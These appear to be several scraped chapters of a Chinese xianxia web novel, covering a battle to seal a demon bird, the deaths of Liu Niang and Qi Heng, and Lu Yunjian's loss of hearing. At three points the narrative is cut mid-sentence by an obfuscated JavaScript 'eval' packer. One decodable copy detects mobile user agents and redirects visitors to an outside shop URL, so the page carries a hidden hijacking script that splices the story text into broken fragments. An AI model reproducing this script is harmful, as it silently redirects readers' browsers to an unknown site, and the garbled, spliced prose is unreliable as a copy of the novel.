说话的是一名披着粗布斗篷的女子,周身没有灵气,想来不会法术,只是随哀牢众人一同被送来的普通百姓。 为首的修士颇为意外地回过头,只粗略扫了她一眼,便收回了目光:“可以是可以,但倒地那位是攻伐系中名列前位的仙君,我奉劝一句,不修道的老百姓最好不要瞎掺和。” 那女子闻言有些不悦:“我们不修道,帮不上忙,这不是有修道的人吗?睁着眼睛看自己同门被打,要真想救人,不应该赶紧把剑插上去,免得又有人中招吗?” 那修士微微眯了眼,冷哼道:“陆尊主吩咐我们要好生护着你们这些老百姓,可没说人自己要作死,我们也要陪着一块儿。你要想去自己去啊,不拦。” 那女子瞪他一眼,卸了碍事的斗篷就要往外冲,一旁另一名修士赶忙拽住她:“你是去送死!外头狂化的那些人便是这殿里所有攻伐系修士加起来也未必能解决,你去能顶什么用?!” 那女子愤然抽回手,再度望向一众黑影中,那抹被血染透了的白色身影。 贺江年奋力起身奔出几步,在再度摔倒在地之前极力一伸手,堪堪触到明澄剑柄,正欲使力一拽,右臂却忽然被一尖锐事物扎中,而后被那东西猛然往后一拖,臂上血肉被扯住了大片,几乎要连同整只手臂一起被撕下。 贺江年抬腿一扫,那撕咬住他手臂的人往后仰倒,只撕下了咬在嘴边的血肉,没能扯断整条手臂。 然而右臂虽是保住了,却再也无力去拾明澄。贺江年一咬牙,朝前翻滚一轮,离明澄近了些,便伸出另一手去够。 可即便拿到了镇魔宝剑,又还有气力去镇压奇焳吗? 贺江年竭力向前一寸一寸挪动,又是即将碰到明澄的那一刹,一把剑忽然刺穿了手掌,将他的左手也钉死在地上。 这些失智狂化的“人”得幕后之人操纵,只知要毁去镇魔宝剑,见毁不得,便竭力阻止贺江年拿到它。 可偏偏又只知阻止他动手,却不知最便捷的方式是干脆杀了他。如今他双手已废,再也动不得,偏偏又吊着一口气,死也死不得。 贺江年缓缓转过头,映入眼帘的是一片云间世弟子袍的藏蓝,目光稍移,越过幢幢鬼影,瞥见了灯火通明的中孚大殿。 殿内灯影摇晃,先前熙熙攘攘的人似乎少了许多,留在大殿内的人都极力往大殿深处挤,无人有暇顾及他,也无人敢来投入夜行百鬼之中,替他拾起镇魔宝剑,替他将宝剑刺入神树。 贺江年闭上眼,只剩耳边模糊混乱的低吼与鼻尖浓重的血腥气,干涸的血铺在身下,他后知后觉地感到了冷。 不知过了多久,耳边刺耳的妖魔啸叫之声也渐渐远去,只能听到胸腔中微弱的心跳。 贺江年闭着眼,开始一下一下数着自己的心跳。 像是小时候每逢下雨,他偷偷地给木窗留一条缝,然后躲在屋子里数路过窗缝的雨有几滴,直到雨下大了,急促到他数也数不清时才罢休。 心跳却没有变急变重,反而愈轻愈缓,贺江年数着数着,缓缓生出了一阵困倦之意。 不过也是……雨停了,也就不用再数了。 直到耳边忽然出现一阵与众不同的脚步声,而后有人越过前方,迅猛地抓起地上的明澄剑时,贺江年才像是被一道惊雷蓦然劈醒了,仿佛离体许久的魂灵倏然重重摔回了躯体。 明澄剑划过地面的声音与别的剑都不一样,他不会认错的…… 是谁? 贺江年勉力睁开眼,瞥见自前方一闪而过的一抹绛色,那颜色太过突出,片刻照亮了他眼前的方寸之地。 先前奋力踩踏明澄剑也没能将之毁去的众“人”见到手的东西忽然飞了,俱是一怔,而后齐齐追着那抹绛色而去。 然而只这一怔的工夫,那人已然奔至神树边,将镇魔宝剑猛地刺入神树之中,炫目白色光华倏然炸裂开来,映得整片天空亮如白昼! 天边翻滚的赤色焰光一瞬间如同火海燃遍天空,紧接着又骤然熄灭。 此时已经入夜,那片比夜色更为浓郁的黑在天边翻滚起来,一时罡风四起,恍若天地倒转。 奇焳的哀鸣来得比任何一次都更为凄绝破碎,宛如无数魂灵在挣扎尖啸,直刺得天幕欲坠,地动山摇。 失智狂化的“人”像是呼应奇焳的嘶鸣一般,尖啸着朝镇魔宝剑扑去,比任何一次都更为迅猛凶狠。 贺江年心道不妙,想要画一道攻击阵法,双手却都只有手指还能稍稍动弹,如何都画不出一道完整的阵法,甚至不能放出灵光。 然而神树边又忽然爆开一道紫色光华,贺江年蓦地抬眼,见那名身穿绛色衣裳的女子被一道紫色灵光裹挟住,斥得那群狂化的“人”尽数退出丈余。 那是陆云笺术法的灵光……是足以抵御一切妖魔邪祟的最强防身咒法。 贺江年惊愕地看着那名素未谋面的女子,还来不及思索她与陆云笺的关联,心中便是一凉。 ……没用的。 防身咒法,只能隔绝妖邪气息,抵御妖魔邪祟……可这些狂化的“人”,终究还是算人,即便狂化后气息与邪祟无异,防身咒法也并不能完全抵挡其攻击。 狂化的“人”只退出了丈余,便又不知疲倦、摇摇晃晃地往前走,走得缓慢了些,像是有些忌惮。 可终究是往前走的。 那女子一看便是一名不曾修道的普通百姓,挡不住这些东西的。 果不其然,那群东西没用多久就确定了此人并无灵力,那道紫色灵光也起不了太多效用,脚步缓慢而带着犹疑的众“人”忽而狂喜起来,再度精神焕发地扑将上去,与癫狂的妖魔分明无异。 奇焳的哀鸣渐轻渐弱,他们却愈加 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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痛感像是已然被剥夺了,只能感受到什么尖利的事物在血肉中进出,温热咸腥的鲜血喷了满脸,凝在脸颊上,又一点一点变冷。 满目也尽是鲜红,仿佛又看到了十二年前那片欺天火光。 妖魔横行,攫人食之…… 周昔燕以一己之躯引走两只大妖,保住了数名村人的性命,用自己的性命换给眉阳村全村一线生机。 昔燕啊……你疼吗? 二十年前,周昔燕抱着尚在襁褓中的陆云笺一路逃至荒僻少人的眉阳村,恳求村人将她留下来,但她来路不明、风尘仆仆,偏偏又身着华服、气质出尘,一时谁也不敢留下她,唯有柳娘劝服众人,将她留了下来。 只因几年前,柳娘在丈夫醉酒打她时失手杀了他,于是一路逃至眉阳村,起初也无人肯收留她。 她在看到周昔燕的一瞬,忽地隔着几年光阴看见了那个狼狈不堪的自己。 这世间占尽了好处的人永远只会将拳脚与刀剑对准自己人,永远只会守着那点好处蝇营狗苟地苟活一辈子。 譬如什么豪杰君子,譬如什么仙门百家。 昔燕说的没错……永远、永远不要与仙门掺和。 不知云笺现在在何处,可还安然无恙……但既然云笺自己选了这一条路,无论如何,我还是会支持她一路走下去的。这么大一只妖兽被镇压了,云笺那边,应当要好办一些了吧? 只望这一次灾劫平息,云笺能不再受仙门所扰,能安宁自在地活一回。那我对昔燕……也算有了交代。 周身血液渐渐冷下去,意识逐渐游离而去,有那么一瞬,柳娘忽觉自己仿佛置身云端,探身下望,望见的不再是疮痍疤痕,而是点点灯火,平和而安宁地缀在人间。 柳娘半闭着眼,扯出一个浅淡的笑容。 只是不知,还能不能再见到昔燕了。昔燕那样好的人,定然是有一个极好的去处的,但我……我手上是拿着一条人命的。 下了地府,阎王爷会怎么判我呢? 不知这一回镇压妖兽,能不能把我的罪孽抵过了。不知阎王爷能不能开恩,让我再见昔燕一面。 我一定要告诉她,我们家云笺,如今真的非常非常厉害……是拯救整个修真界的最伟大的仙君。 霜枫赤叶皆成烬,残霞落晖俱作尘。 天边的最后一抹黑色褪去了,只剩笼罩云间世的皓白光华。 天亮了。 123. 似还生 夜色渐深,云间世结界之内似是万物寂灭,先前的吵闹喧嚷都销声匿迹,自地牢中逃窜而出的妖邪又被押回了地牢,失智狂化的“人”也被清理干净。 一切仿佛又重归于安宁。 贺江年骤然从混沌中惊醒,瞥见前方蹲着一个黑影,下意识去摸腰间佩剑,一摸却摸了个空,才想起师尊反复叮嘱自己,万万不要在神树附近使用明澄剑。 于是他停下了去摸剑的手,勉强睁开眼,却见蹲在面前的是陆明周。 陆明周的神色极尽疲惫,一开口,声音也是嘶哑的:“贺江年……你终于醒了。” 贺江年这才发觉嘴里含着一颗发苦的药丸,想来是陆明周给的唤醒神智的药。 他胡乱点了点头,微微一动,才发觉自己靠在一块凸出的石块旁,正欲起身,腹肋却是猛然一痛,下意识抬手去捂伤口,却瞥见左手手掌紧紧地缠了数圈绷带。 然而即便缠了好几层,还是有淡淡的未干涸的血色透了出来。 直至此时,他才辨出今夕何夕。 贺江年并不知道血泪早已再度覆满他的脸庞,他顾不得剧痛,猛地倾身抓住陆明周:“你快去看看我师尊……他受伤了……还有那个用镇魔宝剑的人……” 陆明周面色苍白地垂着眸,任由他死死拽着自己,没有说话。 贺江年茫然地环顾了四周一圈。 神树已然消亡无存,妖邪也不见了踪影,天色是如常的沉沉夜色,中孚大殿内仍是灯火通明。 而镇魔宝剑,他的明澄剑,已然灵力耗尽,失去了所有光华,断裂为数截,黯然失色地躺在地上。 他伸手将明澄碎片捡回,碎片极为锋利尖锐,划破了好几处绷带。 “爹……娘……师尊……”贺江年无措地睁着眼,转向唯一可以依靠的人,“陆明周,你快去看看我师尊啊,我求你了,我求你了行不行,你去看看我师尊啊……” 见陆明周不应,贺江年一把推开他,起身奔向先前天玑长老所在之处,可四野茫茫,到处是碎肢残骸鲜血,他忽地寻不到师尊了。 他像是无头苍蝇一般,在黑夜中不分方向地四处狂奔找寻,直到被绊倒,才仿佛骤然失了力一般伏倒在地,痛哭哀嚎。 手中明澄剑的碎片太过锋利,扎得他满手是血,贺江年却死死地握紧了手,握紧这世间最后一点属于他的事物。 “我的剑是全天下最好的剑,我爹娘是全天下最好的爹娘,我师尊是全天下最好的师尊。” 可我如今,一无所有。 贺江年无力地躺倒在地,抬眼望向天空。 极为干净的夜色,奇焳再度被镇压,无论是沉郁的黑还是映照天穹的火光,都了无痕迹,仿佛从未出现过。 然而在仙门结界之外徘徊的妖魔鬼怪与失智狂化的“人”仍警醒着世人,奇焳出世短短两个时辰,已使得修真界地覆天翻。 云间世没有太多时间休整,一夜之间不知有多少人狂化又有多少人伤亡,一地碎肢残骨只能草草掩埋。 陆明周将云间世结界范围缩小数倍以节省灵力,然而一夜之间,又有无数仙门结界被攻破,数名修士与百姓又涌入了云间世,因伤亡惨重而显得空荡冷清的云间世再度被人挤满。 陆明周将贺江年半扶半拖地送到侍药长老处,见药堂中的伤患躺得遍地都是,便上前帮了把手。 这些百姓与修士多是较重的外伤,奈何药堂里的药物已被用罄,用灵力医治亦是远远不够,因此只能用布条缠了伤口,又用灵力止血。 不知过了多久才处理好所有伤患,陆明周在药堂内立了片刻,甚至顾不得擦拭云振剑上干涸的污血,便抬步欲往外走。 侍药长老在身后唤道:“尊主,您好些天没合眼了,不稍事休息吗?” 陆明周转过身,正欲开口,却觉太阳穴倏然一刺,而后眼前一黑,一时没站稳,一头栽倒在地。 醒来时已不知是什么时辰,陆明周慌忙起身,见外头已隐隐有了天光,有些焦急:“天亮了?” 好在如今妖魔已尽数出世,奇焳再度被封印,外界邪祟的数量应当不会再增加,只要把眼下的邪祟都诛灭尽便好。 如此想着便稍稍安了些心,然而又觉得有些可笑:何时妖魔尽数出世竟成了一种安慰了? 陆明周用了片刻清醒头脑,而后拿了剑便欲往外走,却被侍药长老一把按住:“百姓已经尽数转移到各仙门结界内,外头也还算稳定,不急于这一时。” 陆明周道:“各处仙门结界不知还能支撑多久,我怎可安然而坐?” 侍药长老有些愠怒:“速战速决自然是好,可你如今数日未眠,早已精力不济,若是方才你正与妖邪交战,骤然失了意识,岂不是白白送了性命?” “可我……” “尊主走前,曾让我好生照看你。”侍药长老叹了口气,“你自小随我修习医术,我也算得你半个师父……你便是不为自己也不听我劝,也该知晓尊主的良苦用心……尊主那样看重你,你若是有个三长两短,让尊主如何安心?” 陆明周被堵得默然片刻,还是道:“可我既承父亲遗志,身为云间世掌门,难道不更应担天下之责?伤亡在所难免,我怎可贪生怕死?” “天下之责天下之责……”侍药长老不由更怒,“云间世是仙门百家之首,云间世的尊主是天下修士之首,云间世若是出事才是整个修真界的劫难!” “我不明白,”陆明周道,“若是不能承救世之责,那算什么仙门,又算什么修士?天下若亡,徒留仙门又有何用?” “你……” 侍药长老睁大了眼睛,几乎想要呵斥陆明周,然而终究想起来如今陆明周不再是少主,也不再是他的半个徒弟,便又泄了气。 陆明周看着谦逊有礼,实则比谁都倔。 “我算是懂得尊主为何会放心不下你,放心不下云间世……”侍药长老自顾自寻了一处坐下,不打算再拦,“怨只怨你读多了满书道义的圣贤书……” 陆明周握紧了云振剑,对侍药长老行了一礼,转身大步奔出药堂。 数家仙门已派出修士诛灭结界之外的妖邪,世间一片混战,好在仙门如今占了上风,渐渐有了取胜之势。 陆明周微微叹了口气,轻轻摩挲了悬在腰间的掌门令牌片刻,而后带领一众修士杀入妖邪之中。 …… 整整一夜,溟海才终于风止浪息,所幸阻止及时,周边的仙门与村庄全都安然无恙。 奇焳被镇压,妖魔被诛灭大半,天穹总算不再遍布阴云,丝缕日光自云层缝隙间漏下,与浩瀚无垠的溟海之上的紫金色灵光交相辉映。 由妄尘龙鳞炼成的长剑立于溟海正中,通体漆黑,却因映照着海面上的灵光而流光璀璨、熠熠生辉。 裴世掐灭指尖灵光,道:“如今溟海已被封锁,应当不会再出意外了。” 没有听到陆云笺的回应,裴世回头去看,却见陆云笺面色苍白、额上细汗密布,忙上前扶了一把:“怎么了?” 说着便去看陆云笺肩上的箭伤,却被陆云笺抬手拦住:“不知为何,我有些……心慌,不知是不是方才奇焳被镇压前那阵动静的影响。” “……” 裴世抬头望了一眼云间世的方向,抬手替陆云笺细细将额上的汗擦去,轻轻叹了口气,道:“溟海之灾,奇焳出世,这两张牌我们都赢了。诛杀余下的妖魔虽耗时费力,但好歹这一回,修真界没有输。” 陆云笺道:“只可惜,这不会是他的最后一张牌。” 裴世道:“这也不是我们的最后一张牌。” “你是说箜篌神器?” 裴世垂眸道:“我们的确需要再去蒲山一趟,取箜篌神器。如今妖魔已尽数出世,青竹君却还未现身,怕是那竹子精撑不住了。” 陆云笺微微蹙眉:“奇焳与照灵鸟相克,先前奇焳出世,怕是对青竹君体内的箜篌琴弦也造成了影响……奇焳是这一战中最大的变数,只望不要再出意外。” 裴世一时默然,只抬手召出归云剑,与陆云笺一同腾至半空。 一路行来,天边仍趴着不少妖魔,密密麻麻如同压下一层厚厚的阴云,直朝人间伸出尖利指爪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“陆云笺,我……与从前一样,我爱你,想护好你,不知不觉,这样的执念竟要比一切恨怨怒悲都来得强烈,以至竟能助我逃过奇焳的哀鸣。 “我与你不一样,你想护更多的人,而我从始至终,从未想过要救世,从前想诛灭鬼魈以报仇,往后只想护你一人。我不想你去蒲山。” 话音落,妖魔邪祟的嘶吼啸叫都仿佛不复存在了似的,一时间万籁俱寂,裴世不由自主收紧指尖,在呼啸风中感受着自己的体温一点一点冷透。 忽然有一双温热的手捧过他的脸。 “不要躲。”陆云笺抬手将他的脸掰过来,“若在往常,你会替我去蒲山,替我去取箜篌神器,但你这次没有。小柿子,你在盘算什么呢?” “……”裴世默然片刻,“我字句真心,陆小姐却只想着套话么?” “因为你会去做比使用箜篌神器更为危险的事。”陆云笺不吃他这套,“我说过会与你一起,此生此世都不会再留你一人,你要让我食言吗?” “不会的。我早便答应过你,会与你一同走到最后。”裴世轻声道,“只是即便我不希望你以身涉险,但你若想,我就会为你铺平道路。” 陆云笺的手倏然有些不受控制地轻颤起来,她蓦地收回手,冷声道:“裴世,这世上我想护的只有三人,我没能护住我娘,柳娘那边也不知情况如何,但你在我眼皮子底下,若是敢有个三长两短,我定饶不了你。” “我自然不敢。”裴世弯了弯嘴角,伸出一根小指,“要拉钩么?” 陆云笺默然片刻,正抬手伸出一根小指,裴世却毫无征兆地一把拥住了她,拥得那样紧,仿佛再也不能放开。 归云剑颤动一瞬,又复归平静。 陆云笺没来由地觉得裴世身上莫名有些恐惧与悲哀,平生第一次不知所措,只得抬手抚了抚他的后背。 裴世沉闷的声音响在耳边:“他来了。” “嗯。”陆云笺闭了闭眼,轻声应道,“这一次,我一定杀了他。” 话音落,裴世顺势拽过陆云笺往下方一跃,二人脚下的归云剑化作一道迅疾金光,蓦地汇聚到裴世掌中,又倏然迎着天边呼啸而去。 待二人稳稳落到地面,天边传来铿然数声,灿金灵光与青碧灵光猛然相撞,疾风骤雨般的灵箭倏然化作齑粉! 124. 寂无声 “二位的速度倒是很快。”季衡将被骤起狂风吹散的绷带缠紧,“短短一夜,就封了溟海。” 灵弓之上青碧灵光流转,季衡并未搭箭,只轻轻摩挲着弓把:“奇焳也被镇压了。让我猜一猜……你们下一张牌应当是箜篌神器吧?二位此行是要去蒲山?” 陆云笺冷声道:“即便你能召动奇焳削弱青竹君的灵力,也阻不了我。” “是吗?”季衡偏头轻笑一声,含着几分讥讽,“即便我召动奇焳,也阻不了你们?” 陆云笺面色一沉,但很快又恢复如常。 季衡淡声道:“不过我的确从未想过,几次三番阻我者不是仙门大家,不是宗派掌门,反倒是被修真界写在通缉令上的二位。二位是受过修真界什么惠恩?被父亲视作杀人利器的陆小姐,师出无门、万人唾弃的归云仙君……反倒一心一意把修真界护在身后,岂非可笑?” “否则呢?”陆云笺微微眯眼,“像你一样,因为痛恨季良衢,所以要拉着整个修真界,甚至两个时空一同陪葬?” 季衡摩挲着弓把的手微微一顿。 “只可惜你也没能弄到照灵骨,不能效仿三百二十年前的魔王,撕开时空裂缝,让两个时空都毁于一旦。” 季衡眉头微微一跳,嘴角却仍然挂着一抹似有若无的笑:“陆小姐猜得不错。不过……这一回没有魔王,却也不会再出一位救世的仙人。更何况,你我既然都想撕开时空裂缝,岂非殊途同归?” 裴世冷声道:“谁同你‘你我’?” 季衡的笑蓦地冷下去,他遥遥望着二人所立之处,抬弓搭箭:“既然二位铁了心要阻我,那我们来打个赌如何?看是你们先平息灾劫,还是我先撕裂时空。” 话音落,一支尾端携着青碧灵光的灵箭飒然一声扎在二人脚边,掀起一阵狂风。季衡被狂风裹挟着往后轻轻一跃,再度搭箭,汹涌气浪在半空中化作无数灵箭,每一支都对准二人所立之处。 数道灵箭在空中停顿片刻,而后如同疾风骤雨般轰然砸下! 裴世抬剑便斩,金色与碧色灵光在半空轰然相撞,数道破碎的灵箭如同一场璀璨绚烂的焰火,簌簌落了满地。 源源不断、无休无止的灵箭携着迅疾的风一波又一波地砸下,季衡咬牙搭箭拉弓,恍惚间下意识想去摸一把七弦琴来。 对付裴世这种最擅大范围攻击的修士,琴乐会比弓箭更省事。 然而手探出去,才想起他并未随身带琴,更何况如今灵力尽废,连定契佩剑都无法召唤,便是有琴,也是用不了的。 琴与剑是季衡惯用的武器,不是他。 他抬手止住震颤的弓弦,再度拉弓,一支凝结着丰沛灵光的箭穿过巨大箭阵,直朝着下方的裴世而去。 裴世挥剑迎击,却没有击碎这一支比其余灵箭要强上千万倍的箭,仍旧只是打碎了数道箭阵之中的灵箭,而后那道金色剑光交杂着溃散的青碧灵光直扑季衡面门—— 季衡一瞬间被耀目灵光晃住了眼,待再度能够睁开眼时,晃在眼前的那片金光仍未消散。 季衡怔愣片刻,有些疑惑也有些恼怒:这是什么招数?晃人眼睛? 正欲再拉弓,却有一道青碧色灵箭破光而来,直刺他心口! 季衡侧身堪堪躲过,见一道紫色身影穿过炫目金光,瞬息闪至他身后,紧接着他的脊背倏然一凉—— 他下意识转身闪避,先前他射出的那道灵光炽盛的灵箭自他脊背划过,留下一道不深不浅的血痕,飞溅的血珠染红了他握住弓把的指尖。 季衡连退数步,见陆云笺瞥了那支灵箭一眼,许是觉得不大顺手,便收紧指尖将它捻碎,随手将尘灰一扬。 季衡眸色沉沉,又出一箭,那道灵箭却轻而易举地被陆云笺抓住。 陆云笺将箭一扔,召出破月,在手中悠悠把玩:“论远攻,世间难有人能与你一战。可若是近战,你胜不了我。”她抬起指尖,抚过破月的锋刃,果见一道血痕,便安下心来,抬眸望向季衡,“所以不要给我靠近你的机会。可惜,已经晚了。” 季衡将灵弓往上方的箭阵一抛,无数道灵箭便自发而动,齐齐朝着裴世呼啸而去。虽说威力削弱了不少,但如此无休无止的灵箭,足够拖住归云仙君一时半刻了。 季衡召不了佩剑,身上也没有别的东西防身,便只随手抓了一只灵箭握在手中。 陆云笺却只摩挲着破月柄上的灵石,一时并未上前。 季衡道:“你在等什么?” 陆云笺道:“我在想你什么时候才会使出你的杀招。” 季衡面色一沉。 话音落,陆云笺不再多等,飞身上前,直取季衡咽喉。季衡侧身闪避,抬起左手格挡,右手出箭,直刺陆云笺腰际。 陆云笺却倏然收了匕首,翻身一跃,手肘往后猛然一怼,季衡踉跄几步,收箭后撤,借力使出一记鞭腿,陆云笺非但不躲,反而反手抓住季衡脚腕,使力一拽,季衡骤然重心不稳,只得勉力撤腿,同时猛力掷出灵箭—— 这一箭太偏,只堪堪划过陆云笺的手臂,连布料都分毫未破。 季衡稳住身形,抬头望了一眼被金碧灵光映亮的天空,心中一沉。 裴世破阵的速度比他想的要更快。 好在,足够了。 季衡手中化出又一支灵箭,直朝陆云笺心口而去。 陆云笺身形一侧,右手疾挥,破月与灵箭铿然相撞,借此反震之力,陆云笺顺势往前翻滚,左手成掌,重重拍向季衡胸口。 季衡侧身躲避,陆云笺却倏然抬腿一扫,季衡躲避不及,摔倒在地。他正欲起身,却为时已晚,破月匕首的尖端竟已没入了他的胸口,洇开一片血痕。 季衡抬手死死抓住破月的锋刃,不让它刺得更深:“陆小姐,便是你们竭力保下修真界,仙门百家也不会感恩戴德,你与归云仙君的名姓,无非是背上重重罪状,烂在修真史上,不会比我更好看。” 陆云笺双手握住破月,将其重重往下压,二人一时力量相衡,未分胜负:“我不求青史留名。” 季衡微微一笑,像是讥嘲,又像是怜悯:“那你求什么?” 陆云笺沉声道:“我此行,是为报恩。” 季衡一哂:“从杀人无数的陆小姐口中听见‘报恩’之辞,当真神奇。” 他似乎撤了几分力气,抬眼望向天穹,轻轻一叹,闭上了眼睛。 上空灵光相撞的声音不绝于耳,厮杀啸叫中,忽然传来一声悠远清冽的哨声,似是九天仙神现身降福,福光化作一道清浅微风,自狼藉人间穿梭而过,飘入耳中。 陆云笺却忽觉心中一刺,方才听来分明如乐音的哨声传到耳中,却忽作万千哀魂齐声尖啸,直刺得人身魂俱颤。 ……鸟鸣。 奇焳的鸣声。 如涟漪般轻轻荡开的乐音忽地成了疾风骤雨般的刀刃,一刀一刀割在血肉魂灵。 先前徘徊在天边、久久不曾落于人间的妖魔倏然尽数尖啸着扑向下方,仙门百家之间传来数声尖叫,不同颜色的灵光一瞬照彻天际,又一瞬黯淡无光,是灵力爆裂、结界破碎之象。 裴世抬剑勉力斩碎最后几道灵箭,只觉体内灵力横冲直撞、排山倒海,眼前时而火光炽盛,时而血光纵横,不再清明如初。 季衡睁开眼,手中幻化出的又一支灵箭已然猛地刺入陆云笺的脖颈,血珠喷溅在指尖,温热的,又有些冷。 陆云笺垂着头,看不清神色,仿佛全无痛感似的,如同一只空心偶人,一动不动。 冰冷灵箭一分一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16621895|179016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 毫挤开皮肉,刺入更深处,逐渐有鲜血洇染开来—— 然而那道灵箭却像是忽然受到什么强大灵力所扰,倏然破碎了。 季衡面色一沉,抬眼望向天空。 奇焳遮天蔽日的羽翼没有再现,但奇焳的哀鸣却是真真切切,凄声不断。 他收回目光,将破碎的灵箭扔开,转而抓住破月,将它慢慢带离自己胸口,而后调转锋刃—— 手腕却忽然一沉,陆云笺再度将破月往下压了一寸。 季衡微微愕然,见面前的陆云笺抬起头,眸色漆黑如常,未受半分影响。 两道刺目鲜血自她耳中滑落,沿着脖颈一路染红了衣襟。 季衡猝然睁大了眼睛。 然而只这一瞬怔愣的功夫,陆云笺已然狠重地将破月彻底贯穿了他的胸口,将他死死钉在地上。 先前灌满双耳的嗡鸣声骤然消失不见了,奇焳啼鸣得再尖锐再凄厉,陆云笺都不再听得见。 季衡放下了抓着破月的手,渐渐扯出一个扭曲的笑容。 陆云笺看出他说的是“疯子”。 “看来我猜对了。”陆云笺轻笑一声,将耳边血痕擦去,“你也算得半个奇焳后代,只可惜没有遮天蔽日的羽翼,唯有奇焳啼鸣之声……所以,听不见,就不会受到半点影响。” “是我大意。”季衡轻声笑道,“早知你会与我为敌,就该趁你不曾恢复记忆时……杀了你。” 恍惚间眼前飘然而过冬至日与除夕夜的灯火,那时他竟被这样微不足道的一点微光晃住了眼睛。 竟也曾幻想这世间有一盏灯,是为他而明。 竟会错信冬至日那么多盏祈愿灯,盏盏祈愿他遂心如意,长乐安康。 那是他们为季衡而点的……不是我。 不过一只无名无姓的孤魂野鬼,生来是为他人口中之食,死后不过游魂一缕,借他人之身才能向这世间索求从不属于他的东西。 替另一个人在这世上活了八载,竟忘了自己是谁。 早该清醒的。 “后悔吗?”陆云笺拔出破月,又一次重重地刺下去,“方才交手,故意输给我,输得太快,毫无余地。” 她没有理会脖颈上的伤,也没有去看季衡又说了什么,破月在他胸腔中进出数次,搅得那片血肉模糊破碎,鲜血纵横。 季衡的眸光渐渐变淡,奇焳哀鸣止于最后一声。 这一声如同靡靡细雨般笼罩世间,虽轻虽柔,却哀转久绝,妖魔动荡、世人狂化来得比任何一次都凶猛,像是最后一回拼死挣扎。 陆云笺搅碎血肉的动作停住了,她望着那抹逐渐涣散黯淡的眸光,久违地唤了一句:“季衡。” 毫无回应。 陆云笺微微蹙眉。 每当季衡心绪动荡,他体内真正属于季衡的那个魂魄总会短暂地占据这具身体的意识——又或者并没有成功占据,只是极力与占据他身体八年之久的魂魄抗衡,以求一瞬清明。 击杀季良衢后,季衡能短暂地恢复神智,大抵就是如此。 或许更早……在冬至日,除夕夜,他支撑不住昏睡过去时,也正是两个魂灵暗自纠缠厮杀。 可如今他已是濒死之际,那个属于季衡的魂灵却从未有现身的痕迹。 濒死,心绪却平静如常? 陆云笺此时才恍然想起自己从未见过真正的季衡,那个自小被季良衢收归镜阳宗、八岁便能独自斩杀大妖的天之骄子,从不曾与自己谋面,遑论知其品性。 陆云笺又唤了一声:“季衡。” 那双神采寂灭的眼眸了无生气地瞪视着高悬的天穹,默然无声。 “对不住。” 陆云笺轻轻闭了闭眼,抬手替那位未曾谋面的故人合上了双眼。 125. 万骨哭 眼前光影涌动,陆云笺站起身,只见四野一片狼藉,尸骸遍地。 如此混乱喧嚷之景,传入她耳中,却静若一片无边无际的黑。 破月妖狼给予她异于常人的卓绝目力与耳力,让她能见常人所不能看清的,能听常人所不能听闻的,如此十余年,她早已习惯了能察觉许多细微之物。 如今目力仍在,甚至似乎更为敏锐,陆云笺被不远处炫目灵光晃得不得不眯起眼,耳中却空空荡荡,再没有半点动静。 她静静立了片刻,也没能习惯这样突兀而可怖的死寂。 直到身后之人离自己不过几步之遥时,陆云笺才倏然察觉,回过神来,下意识抬手去遮挡脖颈上的伤口,手却先一步被来人握住了。 陆云笺讪讪地将手放下,心中猜到他要说什么,先一步道:“方才他以自身作奇焳之用,我一时心绪不宁,才让他得了手。没什么事。” 裴世面色阴沉地扫了一眼地上的尸身,将怀中最后一点捣碎的药草按在陆云笺伤口处:“都在这了。别再受伤。” 陆云笺没辨出来他说的是什么,只得心虚地在他略显苍白的唇上轻吻一下,而后转身走向地上的尸身:“带他一起走吧。我想给他留个全尸。” 说着上前几步,正欲将季衡的尸身扶起,却忽觉头顶一凉。 陆云笺蓦地抬头,见一只高大逾丈的黑影扑将下来,她下意识闪身避开,季衡的尸身却瞬时被夺了去。她正欲去追,却见金光一闪,那抹黑影霎时身首异处。 陆云笺上前扶住季衡一条手臂,然而几只大妖却像是瞧准了这具尸身似的,接二连三地来抢,衔住季衡另半边身子便往远处逃,眼看骨肉分离,陆云笺不得已撒了手,几只大妖拽住季衡的尸身便逃,刹那不见了踪影。 陆云笺举步欲追,然而那几只大妖行动极快,一时竟不知逃往了何处。 她茫然地扫视四周,却寻不到半点踪迹,也辨不明它们逃窜的方向。 陆云笺下意识抬手,想去摸一摸双耳,手抬到半路又放下,双耳却先一步被另一双温热的手捂住了。 金色灵流涌入双耳,然而疗愈的效果却微乎其微,几乎毫无效用。 陆云笺辨清裴世在唤她,唤了很多遍,可她一遍也不曾听见。 “方才你说想给季衡留个全尸时,东北方八丈之外有三只大妖,西北方五丈上空有两只大妖。若在往常,不待它们靠近,你就可以将它们全部解决。” 陆云笺蹙眉看他。 裴世闭了闭眼,指尖金光起,粲然金光流转如萤火,组成了一行悬浮的文字,写的却是简简单单的一句:去蒲山,箜篌神器有疗愈之力。 陆云笺道:“你方才说的不是这句。” 裴世却没有再写,只紧紧捂着她的双耳,颤声道:“只恨我徒有照灵骨之力,却不通疗愈之术。” 陆云笺见他不写,便也不再去看他说了什么,只抬手轻轻抚了抚他的脸,道:“和你没关系,小柿子,不要哭。” 裴世闻言,慌乱抬手一擦脸,这才惊觉面上一片湿凉。 “因为我怕。”陆云笺替他将眼泪擦去,“我此生此世都不想再听见奇焳啼鸣。” 裴世垂了眸,抬手写道:去蒲山吧。仙门结界破,等不了太久了。 